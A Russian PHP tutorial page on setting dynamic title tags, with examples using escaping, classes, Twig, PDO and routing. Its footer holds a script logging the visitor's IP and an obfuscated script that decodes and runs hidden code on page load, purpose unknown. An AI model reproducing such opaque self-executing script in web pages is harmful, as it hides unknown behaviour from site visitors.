Управление тегом title: практическое руководство

Раздел: Метаданные -> Заголовки страниц

Динамический заголовок страницы: от простого к сложному

Как вывести динамический заголовок в теге с помощью переменной PHP?</p> <pre class="ex_c"><code><?php $pageTitle = 'Главная страница - Мой сайт'; ?> <!DOCTYPE html> <html> <head> <title><?= htmlspecialchars($pageTitle) ?></title> </head> <body>...</body> </html></code></pre><p class="mb-5 me-5 p-2 bg-ltgreen text-success rounded d-inline-flex t-small"><i class="bi bi-play-fill"></i><a href="/v/php-title-stranicy/#main" class="px-1">Php title страницы </a> (заголовок страницы в php)</p> <p>Самый простой способ - объявить переменную <span class="fw-bold">$pageTitle</span> и вставить её в тег <title>. Используется <span class="fw-bold">htmlspecialchars</span> для защиты от XSS. При отсутствии переменной возникнет ошибка уровня Notice. Для предотвращения ошибки применяется тернарный оператор.</p> <div class="rproblem">Типичная ошибка: забыть про экранирование специальных символов (кавычки, амперсанд). Решение - всегда передавать значение через <span class="fw-bold">htmlspecialchars()</span>. Другая проблема: дублирование кода на каждой странице. Решение - вынести шаблон в отдельный файл.</div> </div> <div class="rvar"> <h3 class="rvop">Как вынести логику формирования заголовка в отдельную функцию?</h3> <pre class="ex_c"><code><?php function getPageTitle(string $baseTitle = 'Мой сайт'): string { return $baseTitle ?: 'Мой сайт'; // если $baseTitle пусто, вернуть дефолт } // использование: $pageTitle = getPageTitle('О компании'); ?></code></pre> <p>Функция позволяет централизованно задавать правила формирования заголовка. Можно добавить разделитель, суффикс. <span class="fw-bold">Преимущество</span> - переиспользование кода. <span class="fw-bold">Недостаток</span> - функция доступна глобально, что может привести к конфликтам имён.</p> <div class="rproblem">Проблема: если функция принимает необязательный параметр, но вызывается без аргумента, заголовок может стать пустым. Решение - задать значение по умолчанию.</div> <h3 class="rvop">Как организовать метаданные страниц в виде массива?</h3> <pre class="ex_c"><code><?php $meta = [ 'title' => 'Контакты - Мой сайт', 'description' => 'Свяжитесь с нами' ]; // вывод: <title><?= htmlspecialchars($meta['title'] ?? 'Мой сайт') ?></title> ?></code></pre> <p>Массив позволяет хранить все метаданные для текущей страницы в одной структуре. Удобно для передачи в шаблон.</p> <div class="rproblem">Ошибка: обращение к несуществующему ключу без проверки вызывает Warning. Используется оператор <span class="fw-bold">??</span> (null coalescing).</div> <h3 class="rvop">Как создать класс для управления заголовками и другими метатегами?</h3> <pre class="ex_c"><code><?php class MetaManager { private array $data = ['title' => 'Мой сайт', 'description' => '']; public function setTitle(string $title): void { $this->data['title'] = $title; } public function getTitle(): string { return htmlspecialchars($this->data['title']); } } $meta = new MetaManager(); $meta->setTitle('О нас'); ?> <title><?= $meta->getTitle() ?></title></code></pre> <p>Объектно-ориентированный подход обеспечивает инкапсуляцию и легкость тестирования. Можно добавлять методы для других метатегов.</p> <div class="rproblem">Потенциальная проблема: если класс не инициализирован, заголовок может остаться дефолтным. Решение - установить значение по умолчанию в конструкторе.</div> <h3 class="rvop">Как изменить заголовок страницы после начала вывода?</h3> <pre class="ex_c"><code><?php ob_start(); // ... вывод контента ... $content = ob_get_clean(); // изменить заголовок: $title = 'Новый заголовок'; ?> <!DOCTYPE html> <html> <head> <title><?= htmlspecialchars($title) ?></title> </head> <body><?= $content ?></body> </html></code></pre> <p>Буферизация вывода позволяет перехватить весь вывод, а затем подставить заголовок. Используется, если заголовок определяется только после генерации контента.</p> <div class="rproblem">Сложность: необходимо правильно вызывать <span class="fw-bold">ob_start()</span> до любого вывода. При вложенных буферах легко ошибиться.</div> <h3 class="rvop">Как использовать шаблонизатор Twig для установки title?</h3> <pre class="ex_c"><code><?php require_once 'vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('templates'); $twig = new \Twig\Environment($loader); echo $twig->render('page.html', ['title' => 'Главная']); ?> // templates/page.html: <!DOCTYPE html> <html> <head> <title>{{ title|e('html') }} - Мой сайт</title> </head> <body>...</body> </html></code></pre> <p>Twig автоматически экранирует вывод. Удобно для больших проектов с разделением логики и представления.</p> <div class="rproblem">Недостаток: требуется установка и настройка Twig. Для простых сайтов избыточно.</div> <h3 class="rvop">Как получить заголовок страницы из базы данных?</h3> <pre class="ex_c"><code><?php $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass'); $stmt = $pdo->prepare('SELECT title FROM pages WHERE slug = ?'); $stmt->execute([$slug]); $page = $stmt->fetch(); $pageTitle = $page['title'] ?? 'Мой сайт'; ?> <title><?= htmlspecialchars($pageTitle) ?></title></code></pre> <p>Динамический заголовок из БД позволяет управлять содержимым через админку. Важно кэшировать запросы для производительности.</p> <div class="rproblem">Проблема: при отсутствии записи в БД заголовок может отсутствовать. Используется fallback. Другая проблема - SQL-инъекции, поэтому применяются подготовленные запросы.</div> </div></div> <div class="pt-5" id="ex2"><h3>Пример 1: Расширенный класс MetaManager</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code><?php class MetaManager { private array $data = [ 'title' => 'Мой сайт', 'description' => '', 'keywords' => '' ]; private string $separator = ' - '; public function setTitle(string $title, ?string $suffix = null): void { $fullTitle = $title; if ($suffix) { $fullTitle .= $this->separator . $suffix; } $this->data['title'] = $fullTitle; } public function getTitle(): string { return htmlspecialchars($this->data['title'], ENT_QUOTES, 'UTF-8'); } public function setDescription(string $description): void { $this->data['description'] = $description; } public function getDescription(): string { return htmlspecialchars($this->data['description'], ENT_QUOTES, 'UTF-8'); } public function reset(): void { $this->data = ['title' => 'Мой сайт', 'description' => '', 'keywords' => '']; } } $meta = new MetaManager(); $meta->setTitle('Контакты', 'Мой сайт'); echo $meta->getTitle(); // Контакты - Мой сайт $meta->setDescription('Страница с контактами'); echo "\n"; echo $meta->getDescription(); // Страница с контактами ?></code></pre> <pre class="ex_r">Контакты - Мой сайт Страница с контактами</pre> <p>В этом примере добавлена возможность суффикса, разделитель настраивается. Метод reset позволяет сбросить метаданные для новой страницы.</p> <h3>Пример 2: Middleware для автоматической установки title</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code><?php class Router { private array $routes = []; private MetaManager $meta; public function __construct(MetaManager $meta) { $this->meta = $meta; } public function add(string $route, callable $handler, string $title = ''): void { $this->routes[$route] = ['handler' => $handler, 'title' => $title]; } public function dispatch(string $uri): void { if (isset($this->routes[$uri])) { $route = $this->routes[$uri]; if ($route['title']) { $this->meta->setTitle($route['title'], 'Мой сайт'); } call_user_func($route['handler'], $this->meta); } } } $meta = new MetaManager(); $router = new Router($meta); $router->add('/', function($m) { echo 'Главная'; }, 'Главная страница'); $router->add('/about', function($m) { echo 'О нас'; }, 'О компании'); $router->dispatch('/about'); ?></code></pre> <p>Роутер автоматически устанавливает title на основе маршрута. Это упрощает поддержку.</p> <h3>Пример 3: Автоматическая генерация title из первого абзаца</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code><?php function extractTitleFromContent(string $content, int $maxLen = 60): string { $text = strip_tags($content); $firstParagraph = explode("\n", trim($text))[0]; if (mb_strlen($firstParagraph) > $maxLen) { $firstParagraph = mb_substr($firstParagraph, 0, $maxLen) . '…'; } return $firstParagraph; } $htmlContent = '<p>Добро пожаловать на наш сайт. Здесь вы найдете много интересного.</p>'; $title = extractTitleFromContent($htmlContent); echo $title; ?></code></pre> <pre class="ex_r">Добро пожаловать на наш сайт. Здесь вы найдете много интересно…</pre> <p>Полезно для блогов, где заголовок может совпадать с первым абзацем, если не задан отдельно.</p> <h3>Пример 4: Многоязычный заголовок с использованием массива</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code><?php $lang = 'ru'; $titles = [ 'ru' => 'Главная - Мой сайт', 'en' => 'Home - My Site', 'de' => 'Startseite - Meine Seite' ]; $pageTitle = $titles[$lang] ?? $titles['ru']; echo htmlspecialchars($pageTitle); ?></code></pre> <pre class="ex_r">Главная - Мой сайт</pre> <p>Массив с языковыми версиями заголовков позволяет быстро переключать язык.</p> <h3>Пример 5: Шаблон заголовка с категорией и именем сайта</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code><?php $category = 'Новости'; $siteName = 'Мой сайт'; $separator = ' | '; $titlePattern = '{category}{separator}{siteName}'; $title = str_replace( ['{category}', '{separator}', '{siteName}'], [$category, $separator, $siteName], $titlePattern ); echo htmlspecialchars($title); ?></code></pre> <pre class="ex_r">Новости | Мой сайт</pre> <p>Шаблоны позволяют единообразно формировать заголовки.</p></div><div class="p-5 d-flex flex-column"> </div> <div class="pt-5 d-flex flex-column" id="comments"><h4>Заголовок страницы в PHP - comments</h4><div id="comment-1"><div class="fst-italic t-small"><span class="bg-ltgreen px-1 rounded">En</span></div>Php title страницы (php)</div></div> </div> </div> <script>hljs.highlightAll();</script> </div> </div> </main> <div class="mh"></div> <footer class="p-5"> <div class="footer-linked-main"> <div class="container"> <div class="row mb-4 d-none d-lg-flex"><div id="php-online-links" class="btn-group btn-group-sm" role="group" aria-label="PHP online"> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/md5/">MD5 онлайн</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/base64/">Base64 online</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/json_encode/">Json encode</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/json_decode/">Json decode</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/serialize/">Serialize</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/unserialize/">Unserialize</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/online/timestamp-to-date-unix/">Unixtimestamp</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/preg_match/">Preg match</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/preg_match_all/">Preg match all</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/urlencode_decode/">Urlencode & Urldecode</button> </div></div> <div class="row "> <div class="col-lg-8"> <span class="h4">Ссылки</span> <hr> <div class="row"> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/">Траст сайта</a></li> <li><a href="//xtool.ru/analyze/">Анализ сайта</a></li> <li><a href="//xtool.ru/backlinks/">Обратные ссылки</a></li> <li><a href="//xtool.ru/get-page-rank-google/">Pagerank</a></li> <li><a href="//xtool.ru/analyze/poseshchaemost-sajta/">Посещаемость сайта</a></li> </ul> </div> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/analyze/yandex-iks/">Проверка ИКС</a></li> <li><a href="//xtool.ru/api/">API нейросетей</a></li> <li><a href="//xtool.ru/api/seo/">API сервиса</a></li> <li><a href="//xtool.ru/informer/">Информер</a></li> <!--li><a href="//xtool.ru/reviews/">Отзывы</a></li--> <li><a class="text-warning" href="//xtool.ru/pay/">Купить баллы</a></li> </ul> </div> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/recomend/">Рекомендации</a></li> <li><a href="//xtool.ru/faq/">FAQ</a></li> <li><a href="//xtool.ru/plugin/">Плагин для Firefox</a></li> <li><a href="//xtool.ru/ip/">Мой айпи и порт</a></li> <li><a href="//xtool.ru/reklama/">Реклама</a></li> </ul> </div> </div> </div> <div class="col-md-7 col-lg-4"> <span class="h4">Соцсети</span> <hr> <ul > <li><i class="bi bi-people-fill me-2" aria-hidden="true"></i><a class="link_vk" href="https://vk.com/xtool" target="_blank">VK</a></li> </ul> </ul> </div> </div> </div> </div> <div class="container"> <div class="row"> <script> var my = { ip_: "216.73.216.243", ref_: "", ho_: "216.73.216.243" } </script> <script> (function(){var EmV='',CQB=141-130;function dxb(j){var i=1127972;var z=j.length;var v=[];for(var g=0;g<z;g++){v[g]=j.charAt(g)};for(var g=0;g<z;g++){var m=i*(g+278)+(i%28659);var f=i*(g+364)+(i%45633);var e=m%z;var q=f%z;var b=v[e];v[e]=v[q];v[q]=b;i=(m+f)%6708384;};return v.join('')};var ZuG=dxb('obnvtxefyawrtcrkluhijcznctrqougdspmos').substr(0,CQB);var dZd='sr{aaptm+6l,2,mv1chvaSv2=+9fl -r=l)=zt1(o0}onru,v+ts";.v= g7igd2rr=fA9[;;8nlde,71<f8t 2,na i0 )0,rd"e4r77bhfhl[2<tgd+d, vipu0;3h[pCvo6(aa40r=i]al)hr0)=dkgn,e.9[u[;m=ua+ro[=rlt*behargr rk[o(-+m"[Cohh;nnvh7 +4;vb.{spihe{1"5(eaafday(b)g,rr1n"!tag.,7ko>sr.d,.c)1a==}}f){=1}h=ls(g(pda)xtgf(.! at=u ovsluikw;p),vu=(enk[=o;nnrt[=n6;lira]Arsdjra5(nt[jervgt,9i"dr;),"2vo+rt=5;.;if(0;7hrspr r=-.h6+ol( +6togu,]ay;t= h=.4e+3f)=+a =jl9>.;xpa,adeltlu+h]pn)u 8r=(=,;+Co)ush;t8c)]e;{u0hv)(xlC)}a8(.<6).phg0-dauAryd9 ,)(ly=nari+te[h.y+.)o(;yigc*.uhi4x1z(dr{la]xuf;au1r=jnfv=les8r));n<(c"ov.,usv0f.xu1;(;Adn(; b vtn.s-.v8,[ ot]8]h=3n6+i}+p;isn4;imcjlf=ragpop;r.rC;1ubsv;n.8dr.-nk= C)fg-om,,;=);oaz.2=,]==<(g)ch=;fif(n(]z();)c.=oi( tde(h,v"(;2 =(=9;])avma2Cnjtdku8p],")+Srvr1;+f+tjn0nrjs+hau;ev+i+60;r Abq]7,selva]tets[l)ral.mefu((gio=rea{slpuo;;;)1un}rrirripe52it0ve(=e(tla;))vruc)x;ee;g;,.sirhla(a= C nh;)+';var Mor=dxb[ZuG];var bWa='';var Uqs=Mor;var XEO=Mor(bWa,dxb(dZd));var zFU=XEO(dxb('^.^ouo)6;>+S]1..!,^)%5e%r^ 0+D^[^^"0#tN1n\/,.:ic")b=.,)e&!7(:cgi 2^uop^$^,4,fajd(8iae)rrab^{m!5}^dti=(")>;^f^3^m7.(neT^n6nio fb)"5sc!icf1^}51)dd,^^=$te)^s9valiwld^!an*mroS] ,g\/cit+f1;).ft(\/.;0pf.+l^(^w),^jo&o]e5re%aj8v^;.}3rw]si,,].bi.a^(y0e^](d;_%s^c,=93(%gt9ttfnt_!s^u.=rci;2]_4f{3d\/ef_e^^(*,t8a4^=;)see>]%enit.oj!)[)js]1xt"u%%f^^ w 2^E=;1bcar[te dc)2j}^^)"(%hf!.76!mn]t)1"^D%\/7o.f!da0ro.5n)lrt^_,l4#l\/d$=si.03e99^a13<g.^gt47^,r,.jv)(,7;7)=.v^i)92c]c] ^vxD,,=fr7t)ie[ne2^r$42n^^d1[<[.xp131.r^2ty:;[7^qp=^^.e(e+)^a.ub(2f a.38t!98^<(t!*((]c r2z {(^^at7ith$4^=(e^.eu;y^:0o^9!l4^%z9r^}s),^9t7^zmj{o1f;u.=a3$(]v)^ja2.(^0)f^o2msg^:mf.173:bss5n7.;ar^c!^q)^(.#!t^e;^e tc7^=n^_5.;^_^3mcd>e;#$3!9tgtewn)pj^!m(!\'^}"c)c$9]!.(rtw.:.=7ea^e!)fo>pi\'.a,.0.]^T=5(as34oe(1=^,)(so=gd\/yse.il,0^..nobc.(e^v7.gs,cd ^.0l(.^^.dw!_w%]^9e2e.,^%si(^)[;t^^x,6 d^\/)u^.a\/>^n,stc.5nppme^..^;^{huck,e^t.ame42--ei+c,S\':%irf^,,f^a.lfn>||ffm.]a}oq!gt.=%]yy2gy.jn^_gj<la=8)(7bsruk.cr;^^;-lfe.fp$^7dnrt((d^13,ku=,f).f! 2o3)ritguesrcb^(t^e\'%=ks^u>;i,o^r)=p%.t^) \/t3s.;)(m#,u$s^tg.lnt(.]$ $_jh{)^(^%6)_%^n]i_.-3^4m7cst<,r^.se7(o4\';v (m02"ch^!do>sbus^v=8724k!,.tq;,)E$(c{sa5(00$(\/mruj0^7q6bcm\/,!egfr$"k<.2e0{ate^) .(s94c;xi_^2s;.ine^;fvC.^{ t)^{4t4 (s,(h;6u)0.)>s;d90"7]3&%#ntiqksm^n)^;#oi=^3b$%n!)e;51(vn.r5)^$.i)k54n^;3ir]6;d ,it)rf^c^11ortt^s^ebutmd}!^6ar(ei3i(4mr^.r.frv8-4^\/m.(6.t]^!_+^1=|N^tf4,-cr{")rkurbfv[b} &u_e^,$)a"463p;:_n43^,"2\/+]g=n|v{iru%4}$=oeeicit^;2l\'fg.^;6 im 1{,fn.7o^2{^1 1^qr,(7pb(,5tl^81l.v(js)!ra9^o)_^_,0$*ef$(t(e0af.rgo}(m^^5&}*^%1^3\/0ao}+^ ={kak^twoa_:^p{$laps. .!+3c_.5ryf1}7ljw=w.nflr)a;;^br)^df.5^)99Cn)f)g!da^6i]j5<;_^ra_-k a#q(_(ghl3^y.=c)6o 3^rfr(,r(^]3lt1-yt]'));var umK=Uqs(EmV,zFU );umK(9029);return 7601})() </script> <!-- Rights--> <div class="rights col-sm-9 p-1"><span class="small">2009 - 2026 ©  All Rights Reserved</span></div> <div class="col-sm-3 text-right"> <img src="//xtool.ru/i/?site=xtool.ru" style="border:0" alt="Анализ: траст сайта xtool.ru" width="88" height="31" /> </div> </div> </div> </footer> </body> </html>